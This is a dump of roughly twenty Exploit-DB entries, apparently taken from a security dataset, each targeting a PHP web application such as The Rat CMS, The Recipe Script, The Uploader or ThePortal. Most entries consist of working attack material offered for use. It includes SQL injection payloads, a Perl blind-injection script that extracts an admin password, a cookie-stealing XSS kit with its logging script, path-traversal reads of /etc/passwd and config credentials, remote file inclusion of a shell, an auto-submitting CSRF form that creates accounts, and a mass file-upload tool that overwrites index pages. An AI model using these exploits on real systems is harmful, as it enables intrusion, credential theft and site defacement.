deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7478
Description: The Rat CMS Alpha 2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-12-15
Author: x0r

Exploit:
---------------------------------
The Rat Cms Auth By Pass
---------------------------------
Autore: x0r
Email: andry2000@hotmail.it
--------------------------------
Bug In: \login.php

	$sql = "SELECT user_id 
	        FROM tbl_auth_user
			WHERE user_id = '$userId' AND user_[CREDENTIAL_REDACTED]('$password')";
			
$result = mysql_query($sql) or die('Query failed. ' . mysql_error()); 

Exploit: ' or '1=1

^^ Got Root?

# milw0rm.com [2008-12-15]
Exploit-DB #7664
Description: The Rat CMS Alpha 2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-04
Author: darkjoker

Exploit:
#--+++=============================================================+++--#
#--+++====== The Rat CMS Alpha 2 Blind SQL Injection Exploit ======+++--#
#--+++=============================================================+++--#
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;


sub query {
	my $chr = shift;
	my $pos = shift;
	my $query = "'x' OR ASCII(SUBSTRING((SELECT user_password FROM tbl_auth_user WHERE user_id = 'theadmin'),${pos},1))=${chr}";
	$query =~ s/ /%20/g;
	$query =~ s/'/%27/g;
	return $query;
}

sub check {
	my $host = shift;
	my $path = shift;
	my $chr  = ord (shift);
	my $pos  = shift;

	my $sock = new IO::Socket::INET (
		PeerHost => $host,
		PeerPort => 80,
		Proto    => "tcp",
	);
	
	my $query = query ($chr, $pos);
	print $sock "GET ${path}/viewarticle.php?id=${query} HTTP1.1\r\n\r\n";
	my $x;
	while (<$sock>)
	{
		$x .= $_;
	}

	$x =~ s/\s/ /g;
	$x =~ /<h1 align="center">(.+?)\/h1>/;
	if (length ($1) > 1)
	{
		return 1;
	}
	else
	{
		return 0;
	}

	close ($sock);
}

sub usage {
	print
		"\n[+] The Rat CMS Alpha 2 Blind SQL Injection Exploit".
		"\n[+] Author:  darkjoker".
		"\n[+] Site:    http://darkjoker.net23.net".
		"\n[+] Usage:   perl $0 <hostname> <path>".
		"\n[+] Greetz:  certaindeath\n";
	exit ();
}


my $host = shift;
my $path = shift or usage;

my @key = split '', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]*';

my $pos = 1;
my $chr = 0;

while ($pos <= 32)
{
	if (check ($host, $path, $key [$chr], $pos))
	{
		print $key [$chr];
		$chr = -1;
		$pos++;
	}
	$chr++;

}

print "\n";

# milw0rm.com [2009-01-04]
Exploit-DB #5610
Description: The Real Estate Script - 'docID' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: HaCkeR_EgY

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
########## Remote SQL Injection Vulnerability  ##############
                     Therealestatescript    [ dpage.php ]
#################################################                             
 
[$] Author : HaCkeR_EgY
 
[$] c0nTaCT : hacker_egy@hotmail.com
 
[$] DownlOad : www.therealestatescript.com
 
[$] Price :  The Real Estate Script is on sale for $99.95 $59.95 until June 1st.
====================================================
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[$] Dork :    inurl:dpage.php?docID
 
[$] ExPLo!T : http://www.example.com/dpage.php?docID=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+from+admin
 
[$] L!ve Demo : http://www.therealestatescript.com/demo/dpage.php?docID=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+from+admin
 
--Note-- : Enjoy !!! .............  (:
 
====================================================
 
[$] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[$] Greetz : F!resell , Mohamed el Arab ,Mr.SQL , DaRk MaStEr , H-T Team ,Gold_M , Stack-Terrorist , Jiki Team

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                        

# milw0rm.com [2008-05-13]
Exploit-DB #8642
Description: The Recipe Script 5 - Authentication Bypass / Database Backup
Type: webapps
Platform: php
Date: 2009-05-08
Author: TiGeR-Dz

Exploit:
-----------------------------------------------------
The Recipe Script version 5 (Auth Bypass) Remote Sql Injecion/ Database Backup Exploit
-----------------------------------------------------
Founder: TiGeR-Dz
script:The Recipe Script version 5
downlaod:http://recipescript.com/
-----------------------------------------------------------
-----------------------------------------------------------
(Auth Bypass) Remote Sql Injecion
--------------------------------
username:  ' or '1=1
Password:  ' or '1=1

demo:
-----
http://recipescript.com/demo/admin/index.php
------------------------------------------------------
Database Backup Exploit:
-------------------------
After login to administration panel to get Backup

http://recipescript.com/demo/admin/db_backup.php

--------------------------------------------------------

# milw0rm.com [2009-05-08]
Exploit-DB #8967
Description: The Recipe Script 5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-15
Author: ThE g0bL!N

Exploit:
#################################################################################################################
[+] The Recipe Script version 5 Cookie Grabber Exploit
[+] Discovered By ThE g0bL!N
[+] Greetz : All my friends-Sec-r1z.com ( A good site if you want to learn :) )
[+] Vendor:http://recipescript.com/
[+] Dork"script by RECIPE SCRIPT"
#################################################################################################################
PoC
--
[+] Make 2 files and upload to your host :
[+]cookie.php  - > Put in this File That Code:
 <?php
 $cookie = $_GET['cookie'];
 $log = fopen("log.txt", "a");
 fwrite($log, $cookie ."\n");
 fclose($log);
 ?>
[+]log.txt   - > CHMOD it 777 and put in the same directory with cookie.php
 
[+]Exploit:
   -------
           1)First Register in the site  In Fisrt Name:  Put That code
           2) <script>document.location ="http://localhost/[path]/cookie.php?cookie=" + document.cookie;</script>
           3)Then After Complete Registration Go to add_recipe.php To add recipe
           4)Add a normal Recipe
           5) The Victim Open page of recipes recipes.php
           6)The js code Worked 
Example
-------
Result:
------
 PHPSESSID:aafaa0f2cad7431d5cec1431e5bafb03
 Then we put that code
 javascript:document.cookie="PHPSESSID=aafaa0f2cad7431d5cec1431e5bafb03;path=/";
 After That you see :
 ThE g0bL!N
 Profile
 Log off
################################################################################################################

# milw0rm.com [2009-06-15]
Exploit-DB #28886
Description: The Search Engine Project 0.942 - 'Configfunction.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-30
Author: Cyber Security

Exploit:
source: https://www.securityfocus.com/bid/20831/info

The Search Engine Project is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 0.942 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/include/configfunctions.php?tsep_config[absPath]=
Exploit-DB #51525
Description: The Shop v2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2023-06-19
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: The Shop v2.5 - SQL Injection
# Date: 2023-06-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://codecanyon.net/item/the-shop/34858541
# Demo Site: https://shop.activeitzone.com
# Tested on: Kali Linux
# CVE: N/A


### Request ###

POST /api/v1/carts/add HTTP/1.1
Content-Type: application/json
Accept: application/json, text/plain, */*
x-requested-with: XMLHttpRequest
x-xsrf-token: xjwxipuDENxaHWGfda1nUZbX1R155JZfHD5ab8L4
Referer: https://localhost
Cookie: XSRF-TOKEN=LBhB7u7sgRN4hB3DB3NSgOBMLE2tGDIYWItEeJGL;
the_shop_session=iGQJNeNlvRFGYZvsVowWUMDJ8nRL2xzPRXhT93h7
Content-Length: 81
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

{"variation_id":"119","qty":"if(now()=sysdate(),sleep(6),0)","temp_user_id":null}


### Parameter & Payloads ###

Parameter: JSON qty ((custom) POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: {"variation_id":"119","qty":"(SELECT (CASE WHEN (4420=4420)
THEN 'if(now()=sysdate(),sleep(6),0)' ELSE (SELECT 3816 UNION SELECT 4495)
END))","temp_user_id":null}

    Type: time-based blind
    Title: MySQL > 5.0.12 OR time-based blind (heavy query)
    Payload: {"variation_id":"119","qty":"if(now()=sysdate(),sleep(6),0) OR
2614=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS
C)","temp_user_id":null}
Exploit-DB #10594
Description: The Uploader 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-22
Author: Master Mind

Exploit:
=======================================================================================================

~ Script Name : The Uploader 2.0
~ Language : php
~ Author : Master Mind
~ Home : www.vbspiders.com 

==============================================

Exploit :

example:
http://server/script path/index.php

Just Upload Your Shell (Shell.php) ~~> or any extension you want

Shell path
http://server/script path/sdgsd/Shell.php

<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3<3

Greets : The Electronic Bomb, Twi[L]ight, R3d EYE, Doom[PS], Mr.BoOoO AND ALL MEMBERS :)
Exploit-DB #10599
Description: The Uploader 2.0 - File Disclosure
Type: webapps
Platform: php
Date: 2009-12-22
Author: Stack

Exploit:
# Title: The Uploader 2.0 Remote File disclosure Vulnerability
# Author: Stack

http://server/the_uploader/api/download_checker.php?filename=../config.inc.php

next open the config.inc.php file and you got the MySQL configuration ( user & password ) :d

//MySQL configuration and connection functions
$main['host']="127.0.0.1";
$main['user']="root";
$main['pass']="jH445Ui";
$main['dbnm']="jkL_database";
Exploit-DB #13966
Description: The Uploader 2.0.4 - Remote File Disclosure
Type: webapps
Platform: php
Date: 2010-06-22
Author: Xa7m3d

Exploit:
=================================================
The Uploader 2.0.4 Remote File disclosure Vulnerability
=================================================

==============================================

# Script Name : The Uploader
# Version : [2.0.4]
# Language : php
# Author : Xa7m3d (H4K@hotmail.ch)
# Download : http://sourceforge.net/projects/theuploader
# Tested on : ubuntu 9.10

==============================================

File Disclosure :
in : api/download_launch.php

#######################################
$open=fopen($main['upload_directory'] . $_GET['filename'], "r"); <??(+)
$size=filesize($main['upload_directory'] . $_GET['filename']);
$read=fread($open, $size);
header("Content-Type: application/octet-stream");
header("Content-Length: " . $size);
header("Content-Transfer-Encoding: binary");
header("Content-Disposition: attachment; filename=" . $_GET['filename']); <??(+)
#######################################

3XP :

api/download_launch.php?filename=../../../../../etc/passwd

Example :

http://server/theuploader/api/download_launch.php?filename=../config.inc.php


T3AM Piracy Unlimited Tunisia : # Cyb3R H3LL # k[i]ng # La Haft Xroy #
Exploit-DB #42716
Description: Theater Management Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-14
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Theater Management Script - SQL Injection 
# Dork: N/A
# Date: 14.09.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/8o2b4417538/php-scripts/theater-management-script
# Demo: http://198.38.86.159/~dineshkumarwork/demo/movie/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/show-time.php?moid=[SQL]
# 
# -100'++/*!08888UNION*/(/*!08888SELECT*/0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x28313329,0x28313429,0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329)--+-
# 
# http://localhost/[PATH]/event-detail.php?eid=[SQL]
# 
# http://localhost/[PATH]/trailer-detail.php?moid=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #14337
Description: TheHostingTool 1.2.2 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2010-07-12
Author: 10n1z3d

Exploit:
<!---
    Title: TheHostingTool 1.2.2 Multiple CSRF Vulnerabilities
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Mon 12 Jul 2010 01:19:52 PM EEST
    Vendor: http://thehostingtool.com/
    Download: http://thehostingtool.googlecode.com/files/THT-v1.2.2.zip
--->

-=[ CSRF PoC 1 - Create Staff Account ]=-

    <html>
        <head>
            <title>TheHostingTool 1.2.2 Multiple CSRF Vulnerabilities - Create Staff Account</title>
        </head>
        <body onload="document.csrf.submit();">
            <form name="csrf" action="http://[domain]/admin/?page=staff⊂=add" method="post">
                <!--- Edit these --->
                <input type="hidden" name="user" value="root" />
                <input type="hidden" name="email" value="root@root.com" />
                <input type="hidden" name="name" value="root" />
                <input type="hidden" name="pass" value="rootroot" />
                <input type="hidden" name="conpass" value="rootroot" />
                <!--- Do not edit below --->
                <input type="hidden" name="add" value="Add Staff Account" />
            </form>
        </body>
    </html>
 
-=[ CSRF PoC 2 - Delete Staff Account ]=-

    <img src="http://[domain]/admin/?page=staff⊂=delete&do=root&confirm=1" alt="Do you see this?" />
    
-=[ CSRF PoC 3 - Mass Email The Clients ]=-

    <img src="http://[domain]/includes/ajax.php?function=massemail&subject=owned&msg=pwn" alt="Do you see this?" />

-=[ CSRF PoC 4 - Logout The Administrator ]=-

    <img src="http://[domain]/admin/?page=logout" alt="Do you see this?" />
 
<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #47569
Description: TheJshen contentManagementSystem 1.04 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2019-11-01
Author: cakes

Exploit:
# Exploit Title: TheJshen contentManagementSystem 1.04 - 'id' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/thejshen/contentManagementSystem
# Version: 1.04
# Software Link: https://github.com/thejshen/contentManagementSystem.git
# Tested on: CentOS7

# GET parameter 'id' easy SQL Injection
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4' AND 5143=5143-- OWXt
    Vector: AND [INFERENCE]

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=4' AND (SELECT 4841 FROM (SELECT(SLEEP(5)))eqmp)-- ZwTG
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=-4903' UNION ALL SELECT NULL,NULL,CONCAT(0x716a706b71,0x66766f636c[PII_REDACTED][PII_REDACTED]6c4f70724d714c4b64494e755252765a626370615a565a4b49,0x717a6a7671),NULL,NULL-- hkoh
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]
Exploit-DB #47581
Description: thejshen Globitek CMS 1.4 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2019-11-05
Author: cakes

Exploit:
# Exploit Title: thejshen Globitek CMS 1.4 - 'id' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/thejshen/contentManagementSystem
# Software Link: https://github.com/thejshen/contentManagementSystem.git
# Version: 1.4
# Tested on: CentOS 7
# CVE: N/A

# The GET request for content ID is vulnerable to Union, Bolean and Time-Based Blind SQL injection

# Parameter: id (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Vector: AND [INFERENCE]

Payload: id=4' AND 5143=5143-- OWXt
    
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Payload: id=4' AND (SELECT 4841 FROM (SELECT(SLEEP(5)))eqmp)-- ZwTG
    
# Type: UNION query
# Title: Generic UNION query (NULL) - 5 columns
# Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]    
    
Payload: id=-4903' UNION ALL SELECT NULL,NULL,CONCAT(0x716a706b71,0x66766f636c[PII_REDACTED][PII_REDACTED]6c4f70724d714c4b64494e755252765a626370615a565a4b49,0x717a6a7671),NULL,NULL-- hkoh
Exploit-DB #41548
Description: Themeforest Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Themeforest Clone Script - SQL Injection
# Google Dork: N/A
# Date: 08.03.2017
# Vendor Homepage: http://bsetec.com/
# Software : http://themeforestclone.bsetec.com/
# Demo: http://www.bsetecdemo.com/marketplus/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/LastAdded/?by=[SQL]
# # # # #
Exploit-DB #4780
Description: ThemeSiteScript 1.0 - 'index.php?loadadminpage' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-24
Author: Koller

Exploit:
#    .__                                          __.   
#    NN)    NNNN   JNNN` NNNN.   NNN NNNNNNNNNNN  NN)   
#    NN)    `NNN).NNNF  .NNNNN  (NN) """4NNN"""`  NN)   
#    NN)     (NNNNNN`   (NNNNN) NNN     (NNN      NN)   
#    NN)      4NNNN`    NNN(NNN.NNF     NNN)      NN)   
#    NN)     JNNNNL    (NN) NNNNNN)    (NNN       NN)   
#    NN)    JNNNNNN)   JNN` `NNNNN     JNNF       NN)   
#    NN)  .NNNF (NNN.  NNN   4NNN)     NNN)       NN)   
#    NN) JNNN`   NNNN (NN)    NNN`    (NNN        NN)   
#    NN)                                          NN)  
#    .__           http://xaker.name              __.
#
#
# script name      : ThemeSiteScript 1.0
# GoogLe Dork      : none
# Of. site         : http://agaresmedia.com
# The price        : $32.99
# Risk             : Medium
# Found By         : Koller
# Thanks           : all members xaker.name & grabberz.com
# Vulnerable files : /admin/index.php

# Vuln : www.victim.com/admin/index.php?loadadminpage=http://localhost/shell.txt?

# Contact: K0ller (at) hotmail (dot) CoM

# milw0rm.com [2007-12-24]
Exploit-DB #7620
Description: ThePortal 2.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-29
Author: siurek22

Exploit:
[ web apps] theportal2 v2.2 (Auth bypass) file upload
--------------------
Author: siurek22
-------------------- 

You need curl to run it

--------------------
Code:
--------------------
upload.php


<?php
$file=$_POST['url'];
$fel=explode("\n", $file);




$ile=count($fel);
if(empty($file))
{
 echo'<br><br><br>
                                               <center>
                                               <form method="post">
                                               <textarea type="text" name="url" cols="50" rows="10">&lt;/textarea&gt;
                                               <input type="submit" value="OWNED">
                                               </form>
';
}
else{
for($i=0; $i<$ile;$i++)
{
$url=$fel[$i];
$url2=$url."/admin/galeria.php?akcja=dodaj_foto";
$url5=$url."/galeria/own.php";
                $c = curl_init();
                $postFields['adres'] = '@' . dirname(__FILE__) . '/own.php';
                $postFields['tytul'] = 'us';
                $postFields['opis'] = 'us';
                $postFields['kategoria'] = 1;
                $postFields['B1'] = 'dodaj';
                curl_setopt($c, CURLOPT_URL, $url2);
                curl_setopt($c, CURLOPT_POST, 1);
                curl_setopt($c, CURLOPT_POSTFIELDS, $postFields);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
                $odpowiedz3=curl_exec($c);

                curl_close($c);
}
}              
?>

------------
 â€žown.phpâ€ with your code php
Example:

<?php
$text="<?php die(\"OWNED...\"); ?>";
$adres=$_SERVER['SCRIPT_FILENAME'];
$adres=str_replace("own.php","",$adres);
$adres=substr($adres,0, -8);
$adres=$adres."index.php";
$fp=fopen($adres,"w");
fwrite($fp, $text);
fclose($fp);

?>

Example:
1 Put upload.php and own.php at server
2 Go to url yourserver.com/upload.php and put to the textarea adres of website and Click OWNED
3 Now go to url your file target.com/galeria/own.php

# milw0rm.com [2008-12-29]
Exploit-DB #47430
Description: thesystem App 1.0 - 'server_name' SQL Injection
Type: webapps
Platform: php
Date: 2019-09-27
Author: Sadik Cetin

Exploit:
# Exploit Title: thesystem 1.0 - 'server_name' SQL Injection 
# Author: Sadik Cetin 
# Discovery Date: 2019-09-26 
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem 
# Software Link: https://github.com/kostasmitroglou/thesystem 
# Tested Version: 1.0 
# Tested on OS: Windows 10 
# CVE: N/A 

# Description: 
# Simple SQL injection after login bypass(login_required didn't used) 

POST /data/ HTTP/1.1 
Host: 127.0.0.1:8000 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]6500 
Content-Length: 330 
Connection: close 
Referer: http://127.0.0.1:8000/data/ 
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567[PII_REDACTED]231977 
Upgrade-Insecure-Requests: 1 

----------------------------[PII_REDACTED]6500 
Content-Disposition: form-data; name="csrfmiddlewaretoken" 

9LsPWlffpiAEGYeCvR9Bead9tslR18flkZRAjREhmqtJpFwNrnSBJXTH245O5sh3 
----------------------------[PII_REDACTED]6500 
Content-Disposition: form-data; name="server_name" 

' or '1=1 
----------------------------[PII_REDACTED]6500-- 



HTTP/1.1 200 OK 
Date: Thu, 26 Sep 2019 12:16:11 GMT 
Server: WSGIServer/0.2 CPython/3.5.3 
Content-Type: text/html; charset=utf-8 
X-Frame-Options: SAMEORIGIN 
Content-Length: 190 

(23, 'test', '192.168.1.4', '22', 'test@test', 'root', '1234', 'test', 'test', '2019-09-26')(24, '<h1>Unix', '192.168.1.5', '22', 'test@test', 'root', '1234', 'test2', 'test2', '2019-09-26')